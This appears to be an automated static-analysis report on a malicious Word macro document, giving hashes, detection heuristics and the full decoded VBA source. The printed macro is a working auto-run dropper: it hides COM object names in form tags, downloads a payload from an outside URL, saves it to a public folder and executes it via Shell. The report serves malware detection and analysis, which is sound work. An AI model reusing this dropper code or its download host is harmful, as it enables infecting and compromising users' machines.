Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8bd277e44c13152f…

MALICIOUS

Office (OOXML)

99.6 KB Created: 2021-01-20 19:12:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-01-23
MD5: ae3ffe25f30bd8ded68aeb43688ac0b1 SHA-1: c8fe8587862664383af05bae090cae6a9e12994d SHA-256: 8bd277e44c13152f14520e9fb5fdec3aeacac00c3265cb45ec89e9b3c194495b
230 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.Generic-9823788-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Generic-9823788-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
          RemoveRight32.Write VariableList.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          Set VariableList = CreateObject(RightSwap)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2171 bytes
SHA-256: 81f0a4be4546516d027df36d6d4c93520c6292dded6d3c368bb5838372a6383d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
  Application.Run "Fororo"
End Sub

Sub Fororo()
UserForm1.CommandButton2_Click
End Sub



Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{B410BF22-C1C7-4541-86EF-E1A3E808E8F9}{FC4CA834-5F9B-44F6-BFF1-CE80D9F5A4B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public WindowNamespaceTextbox
Public WindowButtonSelect

Private Sub CommandButton1_Click()
 UserForm1.WindowNamespaceTextbox = "C:\users\Public\256.png"
 UserForm1.WindowButtonSelect = "http"
 ListException = 1
 
 Dim VariableList As Object
 Dim RemoveRight32 As Object
 

 For Each RightSwap In ListBox1.List
    If ListException = 1 Then
      Set VariableList = CreateObject(RightSwap)
      VariableList.Open "GET", UserForm1.WindowButtonSelect + ListBox1.List(3), False
      VariableList.Send
    End If
    
    If ListException = 2 Then
      Set RemoveRight32 = CreateObject(RightSwap)
      RemoveRight32.Open
      RemoveRight32.Type = 1
      RemoveRight32.Write VariableList.ResponseBody
      RemoveRight32.SaveToFile UserForm1.WindowNamespaceTextbox, 2
    End If
    
    If ListException = 3 Then
      Shell@ (RightSwap + "32 " & UserForm1.WindowNamespaceTextbox)
    End If
    
    ListException = ListException + 1
 Next
End Sub

Public Sub CommandButton2_Click()
  
    ListBox1.AddItem (TextBox1.Tag)
    ListBox1.AddItem (CommandButton4.Tag)
    CommandButton3_Click
    CommandButton1_Click

End Sub

Public Sub CommandButton3_Click()
    ListBox1.AddItem (Image1.Tag)
    CommandButton4_Click
End Sub

Public Sub CommandButton4_Click()
ListBox1.AddItem ("://statsline.bar/f0t0s.jpg")
End Sub




Private Sub TextBox1_Change()

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 49152 bytes
SHA-256: 008dcda622f21574bdec28b05b404612b60e556a9300642d9b32880cd1e64e15